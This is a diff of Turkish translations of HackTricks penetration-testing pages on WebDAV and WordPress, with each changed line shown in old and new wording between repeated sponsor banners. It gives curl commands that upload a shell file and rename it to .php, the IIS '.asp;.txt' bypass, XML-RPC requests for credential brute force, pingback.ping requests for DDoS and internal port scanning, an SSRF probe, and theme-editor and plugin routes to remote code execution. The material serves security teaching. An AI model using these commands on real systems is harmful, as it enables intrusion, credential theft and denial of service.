{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}

View file

@ -3,32 +3,32 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**WebDav** özellikli bir **HTTP Sunucusu** ile uğraşırken, genellikle **HTTP Temel Kimlik Doğrulaması** aracılığıyla doğrulanan **doğru kimlik bilgilerine** sahipseniz, dosyaları **manipüle etmek mümkündür**. Bu tür bir sunucu üzerinde kontrol sağlamak genellikle bir **webshell yükleyip çalıştırmayı** içerir.
WebDav sunucusuna erişim genellikle **geçerli kimlik bilgileri** gerektirir, bunları elde etmek için [**WebDav bruteforce**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) yaygın bir yöntemdir.
WebDav sunucusuna erişim genellikle **geçerli kimlik bilgileri** gerektirir, bunları elde etmek için [**WebDav brute force**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) yaygın bir yöntemdir.
Özellikle sunucu taraflı betiklerin çalışmasını engelleyen dosya yüklemelerindeki kısıtlamaları aşmak için şunları yapabilirsiniz:
Sunucu tarafı betiklerin çalışmasını engelleyen dosya yükleme kısıtlamalarını aşmak için şunları yapabilirsiniz:
* Eğer kısıtlanmamışsa, **yürütülebilir uzantılara sahip** dosyaları doğrudan **yükleyin**.
* Eğer kısıtlama yoksa, **yürütülebilir uzantılara sahip** dosyaları doğrudan **yükleyin**.
* Yüklenen yürütülemez dosyaları (örneğin .txt) yürütülebilir bir uzantıya **yeniden adlandırın**.
* Yüklenen yürütülemez dosyaları, uzantılarını yürütülebilir olan bir uzantıya **değiştirerek kopyalayın**.
@ -53,23 +53,23 @@ cadaver <IP>
```
curl -T 'shell.txt' 'http://$ip'
```
## MOVE isteği
## TAŞIMA isteği
```
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve kolayca çalıştırın.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
## IIS5/6 WebDav Zafiyeti
Bu zafiyet çok ilginç. **WebDav**, dosyaların uzantısı **.asp** ile **yüklenmesine** veya **yeniden adlandırılmasına izin vermez**. Ancak dosya adının sonuna **";.txt"** ekleyerek bunu **atlayabilirsiniz** ve dosya .asp dosyasıymış gibi **çalıştırılacaktır** (ayrıca **".txt" yerine ".html"** de **kullanabilirsiniz** ancak **";"**'yi **unutmayın**).
Bu zafiyet çok ilginç. **WebDav**, dosyaların uzantısı **.asp** olan dosyaların **yüklenmesine** veya **yeniden adlandırılmasına izin vermez.** Ancak dosya adının sonuna **";.txt"** ekleyerek bunu **atlayabilirsiniz** ve dosya .asp dosyasıymış gibi **çalıştırılacaktır** (aynı zamanda **".txt" yerine ".html"** kullanabilirsiniz ama **";"**'yi **unutmayın**).
Daha sonra kabuğunuzu ".**txt" dosyası** olarak **yükleyebilir** ve onu ".asp;.txt" dosyasına **kopyalayabilir/taşıyabilirsiniz**. Bu dosyaya web sunucusu üzerinden erişildiğinde **çalıştırılacaktır** (cadaver taşıma işleminin çalışmadığını söyleyecektir, ancak çalışmıştır).
Sonra kabuğunuzu ".**txt" dosyası** olarak **yükleyebilir** ve onu ".asp;.txt" dosyasına **kopyalayabilir/taşıyabilirsiniz**. Bu dosyaya web sunucusu üzerinden erişildiğinde **çalıştırılacaktır** (cadaver taşıma işleminin çalışmadığını söyleyecektir, ancak çalışmıştır).
![](<../../.gitbook/assets/image (1092).png>)
@ -89,11 +89,13 @@ AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
Görüldüğü gibi, **webdav** sunucusu için geçerli olan **kimlik bilgileri** içeren dosyalar bulunmaktadır:
```html
<p>Webdav sunucusu için geçerli **kimlik bilgileri** içeren dosyaları görebilirsiniz:</p>
```
```
/etc/apache2/users.password
```
Dosyaların içinde **kullanıcı adı** ve şifrenin **hash**'i bulunmaktadır. Bu, webdav sunucusunun kullanıcıları doğrulamak için kullandığı kimlik bilgileridir.
Bu tür dosyaların içinde **kullanıcı adı** ve **şifrenin hash**'i bulunur. Bunlar, webdav sunucusunun kullanıcıları doğrulamak için kullandığı kimlik bilgileridir.
Onları **kırmayı** deneyebilir veya bir nedenden dolayı **webdav** sunucusuna **erişmek** istiyorsanız **daha fazla ekleyebilirsiniz**:
```bash
@ -109,22 +111,22 @@ wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**]'i (https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **otomatikleştirmeleri** kolayca oluşturun.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}

View file

@ -6,26 +6,26 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **iş akışlarını otomatikleştirmenize** olanak tanıyan [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress)'i kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Temel Bilgiler
**Yüklenen** dosyalar şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
**Temalar dosyaları /wp-content/themes/ içinde bulunabilir**, bu yüzden temanın bazı php'lerini değiştirirseniz RCE elde etmek için muhtemelen bu yolu kullanırsınız. Örneğin: **twentytwelve temasını** kullanarak **404.php** dosyasına erişebilirsiniz: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Temalar dosyaları /wp-content/themes/ içinde bulunabilir**, bu yüzden tema php'sini değiştirirseniz RCE elde etmek için muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve temasını** kullanarak **404.php** dosyasına erişebilirsiniz: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Başka faydalı bir url şu olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
**wp-config.php** içinde veritabanının kök şifresini bulabilirsiniz.
@ -35,20 +35,20 @@ Kontrol edilmesi gereken varsayılan giriş yolları: _**/wp-login.php, /wp-logi
### **Ana WordPress Dosyaları**
* `index.php`
* `license.txt` yüklü olan WordPress sürümü gibi yararlı bilgiler içerir.
* `wp-activate.php` yeni bir WordPress sitesi kurulurken e-posta aktivasyon işlemi için kullanılır.
* `license.txt` WordPress'in yüklü olduğu sürüm gibi yararlı bilgiler içerir.
* `wp-activate.php` yeni bir WordPress sitesi kurulurken e-posta etkinleştirme işlemi için kullanılır.
* Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
* `xmlrpc.php` WordPress'in bir özelliğini temsil eden bir dosyadır ve HTTP'nin taşıma mekanizması olarak ve kodlama mekanizması olarak XML ile veri iletilmesini sağlar. Bu tür iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) tarafından değiştirilmiştir.
* `xmlrpc.php`, WordPress'in bir özelliğini temsil eden bir dosyadır ve HTTP'nin taşıma mekanizması olarak ve XML'in kodlama mekanizması olarak veri iletilmesini sağlar. Bu tür iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) tarafından değiştirilmiştir.
* `wp-content` klasörü eklentilerin ve temaların depolandığı ana dizindir.
* `wp-content/uploads/` Platforma yüklenen dosyaların depolandığı dizindir.
* `wp-includes/` Bu, sertifikalar, yazı tipleri, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların depolandığı dizindir.
* `wp-sitemap.xml` Wordpress sürümleri 5.5 ve üstünde, Wordpress tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türlerini ve taksonomileri içeren bir site haritası XML dosyası oluşturur.
* `wp-sitemap.xml` Wordpress'in 5.5 ve üstü sürümlerinde, Wordpress tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türlerini ve taksonomileri içeren bir site haritası XML dosyası oluşturur.
**Sonrası Sömürü**
**Saldırı sonrası işlemler**
* `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için gereken bilgileri içerir; veritabanı adı, veritabanı ana bilgisayarı, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzları ve veritabanı tablo öneki. Bu yapılandırma dosyası ayrıca sorun gidermede kullanışlı olabilecek DEBUG modunu etkinleştirmek için de kullanılabilir.
@ -90,15 +90,17 @@ curl https://victim.com/ | grep 'content="WordPress'
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
{% endcode %}
### Temaları Al
{% endcode %}
{% code overflow="wrap" %}
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Genel olarak sürümleri çıkart
{% code overflow="wrap" %}
{% endcode %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -108,26 +110,26 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Aktif numaralandırma
### Eklentiler ve Temalar
Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için bir Eklentiler ve Temalar listesini **etkin bir şekilde Brute Force** etmeniz gerekecek (şansımıza, bu listeleri içeren otomatik araçlar bulunmaktadır).
Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için **Eklentilerin ve Temaların listesini aktif olarak Brute Force etmeniz gerekecek** (şansımıza, bu listeleri içeren otomatik araçlar bulunmaktadır).
### Kullanıcılar
**Kimlik Brute**
**Kimlik Numarası Brute**
WordPress sitesinden geçerli kullanıcıları Kimlik Brute Force yöntemiyle elde edersiniz:
WordPress sitesinden geçerli kullanıcıları Kimlik Numaralarını Brute Force ederek elde edersiniz:
```
curl -s -I -X GET http://blog.example.com/?author=1
```
Eğer yanıtlar **200** veya **30X** ise, bu, id'nin **geçerli** olduğu anlamına gelir. Eğer yanıt **400** ise, o zaman id **geçersiz** demektir.
Eğer yanıtlar **200** veya **30X** ise, bu demektir ki id **geçerlidir**. Eğer yanıt **400** ise, o zaman id **geçersizdir**.
**wp-json**
@ -139,17 +141,17 @@ Başka bir `/wp-json/` uç noktası, kullanıcılar hakkında bazı bilgileri or
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Bu uç noktanın yalnızca bir gönderi yapmış olan kullanıcıları ortaya çıkardığını unutmayın. **Yalnızca bu özelliğe sahip kullanıcılar hakkında bilgi sağlanacaktır**.
Bu uç noktanın yalnızca bir gönderi yapmış olan kullanıcıları ortaya çıkardığını unutmayın. **Yalnızca bu özelliği etkinleştirmiş kullanıcılar hakkında bilgi sağlanacaktır**.
Ayrıca **/wp-json/wp/v2/pages** IP adreslerini sızdırabilir.
#### Kullanıcı adı girişi numaralandırması
**`/wp-login.php`**'de oturum açarken, belirtilen **kullanıcı adının var olup olmadığına bağlı olarak** **farklı bir mesaj** alırsınız.
**`/wp-login.php`**'de oturum açarken, belirtilen **kullanıcı adının var olup olmadığına bağlı olarak farklı bir** **mesaj** alırsınız.
### XML-RPC
`xml-rpc.php` etkinse kimlik bilgileri için kaba kuvvet saldırısı yapabilir veya başka kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu işlemi otomatikleştirebilirsiniz[şu bağlantıyı kullanarak](https://github.com/relarizky/wpxploit) örneğin).
`xml-rpc.php` etkinse kimlik bilgileri için kaba kuvvet saldırısı yapabilir veya başka kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu işlemi otomatikleştirebilirsiniz[ buna örnek olarak şunu kullanabilirsiniz](https://github.com/relarizky/wpxploit)).
Etkin olup olmadığını görmek için _**/xmlrpc.php**_'ye erişmeyi deneyin ve bu isteği gönderin:
@ -174,7 +176,7 @@ Etkin olup olmadığını görmek için _**/xmlrpc.php**_'ye erişmeyi deneyin v
</params>
</methodCall>
```
200 kodlu yanıt içindeki _"Kullanıcı adı veya şifre yanlış"_ mesajı, kimlik bilgileri geçerli değilse görünmelidir.
200 kodlu yanıt içindeki _"Kullanıcı adı veya şifre yanlış"_ mesajı geçersiz kimlik bilgileri durumunda görünmelidir.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
@ -210,7 +212,7 @@ Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol
</params>
</methodCall>
```
Ayrıca, **`system.multicall`** kullanarak aynı istekte birkaç kimlik bilgisini deneyebileceğiniz daha **hızlı bir yol** vardır:
Ayrıca, **`system.multicall`** kullanarak aynı istekte birkaç kimlik bilgisini deneyebileceğiniz için kimlik bilgilerini kaba kuvvetle çözmenin **daha hızlı bir yolu** vardır:
<figure><img src="../../.gitbook/assets/image (628).png" alt=""><figcaption></figcaption></figure>
@ -220,8 +222,8 @@ Bu yöntem programlar içindir ve insanlar için değil, eski olduğu için 2FA'
**DDoS veya port taraması**
Eğer listede **_pingback.ping_** yöntemini bulabilirseniz, Wordpress'in herhangi bir ana makine/limana keyfi bir istek göndermesini sağlayabilirsiniz.\
Bu, binlerce Wordpress sitesinden bir **lokasyona erişim** sağlamalarını istemek için kullanılabilir (bu lokasyonda bir **DDoS** oluşturulur) veya **Wordpress**'i bazı iç ağları **taramak** için kullanabilirsiniz (herhangi bir limanı belirtebilirsiniz).
Liste içinde _**pingback.ping**_ yöntemini bulabilirseniz, Wordpress'in herhangi bir ana makine/limana keyfi bir istek göndermesini sağlayabilirsiniz.\
Bu, binlerce Wordpress sitesinin bir **yeri** erişmesini istemek için kullanılabilir (bu nedenle o konumda bir **DDoS** oluşturulur) veya bunu kullanarak **Wordpress**'in bazı dahili **ağları taramasını** sağlayabilirsiniz (herhangi bir limanı belirtebilirsiniz).
```markup
<methodCall>
<methodName>pingback.ping</methodName>
@ -231,11 +233,9 @@ Bu, binlerce Wordpress sitesinden bir **lokasyona erişim** sağlamalarını ist
</value></param></params>
</methodCall>
```
![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Eğer bir değeri 0'dan büyük olan **faultCode** alırsanız (17), bu portun açık olduğu anlamına gelir.
Bu yöntemi kötüye kullanarak DDoS saldırısı yapmak için **`system.multicall`**'ın kullanımına önceki bölümde bakın.
Bu yöntemi DDoS saldırısına neden olmak için nasıl kötüye kullanacağınızı öğrenmek için önceki bölümde **`system.multicall`** kullanımına bir göz atın.
```markup
<methodCall>
<methodName>pingback.ping</methodName>
@ -249,17 +249,17 @@ Bu yöntemi kötüye kullanarak DDoS saldırısı yapmak için **`system.multica
### wp-cron.php DoS
Bu dosya genellikle Wordpress sitesinin kök dizini altında bulunur: **`/wp-cron.php`**\
Bu dosyaya **erişildiğinde** a "**yoğun**" MySQL **sorgusu** gerçekleştirilir, bu nedenle **saldırganlar** tarafından **DoS** **oluşturmak** için kullanılabilir.\
Bu dosya genellikle Wordpress sitesinin kökü altında bulunur: **`/wp-cron.php`**\
Bu dosyaya **erişildiğinde** a "**yoğun**" MySQL **sorgusu** gerçekleştirilir, bu nedenle **saldırganlar** tarafından **Bir Hizmeti Engelleme** saldırısına neden olmak için kullanılabilir.\
Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklemede çağrılır (istemci herhangi bir Wordpress sayfasını istediğinde), yüksek trafikli sitelerde sorunlara neden olabilir (DoS).
Wp-Cron'un devre dışı bırakılması ve gereken işlemleri düzenli aralıklarla gerçekleştiren bir gerçek cronjob oluşturulması önerilir (sorunlara neden olmadan).
### /wp-json/oembed/1.0/proxy - SSRF
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir.
https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir.
Bu, çalışmadığında gelen yanıttır:
Bu çalışmadığında alınan yanıt:
![](<../../.gitbook/assets/image (365).png>)
@ -267,7 +267,7 @@ Bu, çalışmadığında gelen yanıttır:
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Bu araç, **methodName: pingback.ping**'i kontrol eder ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve varsa bunları sömürmeye çalışır.
Bu araç, **methodName: pingback.ping**'i kontrol eder ve yol için **/wp-json/oembed/1.0/proxy**'yi kontrol eder ve varsa bunları istismar etmeye çalışır.
### Otomatik Araçlar
```bash
@ -278,14 +278,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve yönetin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Biraz üzerine yazarak erişim alın
Bu, gerçek bir saldırıdan ziyade bir merak konusudur. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 bit çevirebilirdiniz. Bu sayede `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu çevirerek NOT (`!`) işlemini devre dışı bırakabilirsiniz.
Bu, gerçek bir saldırıdan ziyade bir meraktır. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 bit çevirebilirdiniz. Bu sayede `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu çevirerek NOT (`!`) işlemini devre dışı bırakabilirsiniz.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -300,7 +300,7 @@ Görünüm → Tema Düzenleyici → 404 Şablonu (sağda)
![](<../../.gitbook/assets/image (384).png>)
Bu güncellenmiş sayfaya nasıl erişebileceğinizi İnternet'te arayın. Bu durumda buraya erişmeniz gerekecek: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Bu güncellenmiş sayfaya nasıl erişebileceğinizi internet üzerinden arayın. Bu durumda buraya erişmeniz gerekecek: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -339,19 +339,19 @@ Erişin ve ters kabloyu yürütmek için URL'yi göreceksiniz:
### Zararlı eklenti yükleme ve etkinleştirme
Bu yöntem, zayıf olduğu bilinen zararlı bir eklentinin kurulmasını ve bir web kabuğu elde etmek için sömürülmesini içerir. Bu işlem WordPress panosu aracılığıyla şu şekilde gerçekleştirilir:
Bu yöntem, zayıf olduğu bilinen zararlı bir eklentinin kurulmasını ve bir web kabuğunun elde edilmesini içerir. Bu işlem WordPress panosu aracılığıyla şu şekilde gerçekleştirilir:
1. **Eklenti Edinme**: Eklenti, Exploit DB gibi bir kaynaktan alınır, örneğin [**buradan**](https://www.exploit-db.com/exploits/36374).
2. **Eklenti Kurulumu**:
* WordPress panosuna gidin, ardından `Pano > Eklentiler > Eklenti Yükle`'ye gidin.
* İndirilen eklentinin zip dosyasını yükleyin.
3. **Eklenti Etkinleştirme**: Eklenti başarılı bir şekilde kurulduktan sonra, panodan etkinleştirilmelidir.
3. **Eklenti Etkinleştirme**: Eklenti başarılı bir şekilde yüklendikten sonra, panelden etkinleştirilmelidir.
4. **Sömürü**:
* "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, zayıf olduğu bilindiği için sömürülebilir.
* Metasploit çerçevesi bu zayıflık için bir sömürü sağlar. Uygun modülü yükleyerek ve belirli komutları yürüterek, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
